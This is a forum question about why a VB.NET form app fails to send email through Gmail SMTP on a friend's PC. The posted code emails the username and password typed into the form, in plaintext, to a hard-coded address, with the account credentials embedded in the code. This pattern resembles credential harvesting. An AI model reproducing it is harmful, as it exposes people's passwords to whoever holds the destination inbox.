error sending email from vb.net form app

  • Thread starter Thread starter pestana58
  • Start date Start date
P

pestana58

Guest
hi i have a form app that sends emails from the app it does work on mi 3 PCs on my work pc but not in a friend PC

can anyone know wy?

whe are using the same email adress

thanks

Try
Dim Mail As New MailMessage
Dim SMTP As New SmtpClient("smtp.gmail.com")

Mail.Subject = "password asked"
Mail.From = New MailAddress("............")
SMTP.Credentials = New System.Net.NetworkCredential("........", ".....")

Mail.To.Add(".......")

Mail.Body = "User : " & TxtUser.Text & vbCrLf & "Password : " & TxtPassword.Text 'Message Here

SMTP.EnableSsl = True
SMTP.Port = "587"
SMTP.Send(Mail)
MessageBox.Show("Pedido confirmado")
Catch ex As Exception
MsgBox(ex.ToString)
End Try

Continue reading...
 

Similar threads

D
Replies
0
Views
113
Developer Dude
D
D
Replies
0
Views
121
Developer Dude
D
O
Replies
0
Views
88
okardak onur
O
Back
Top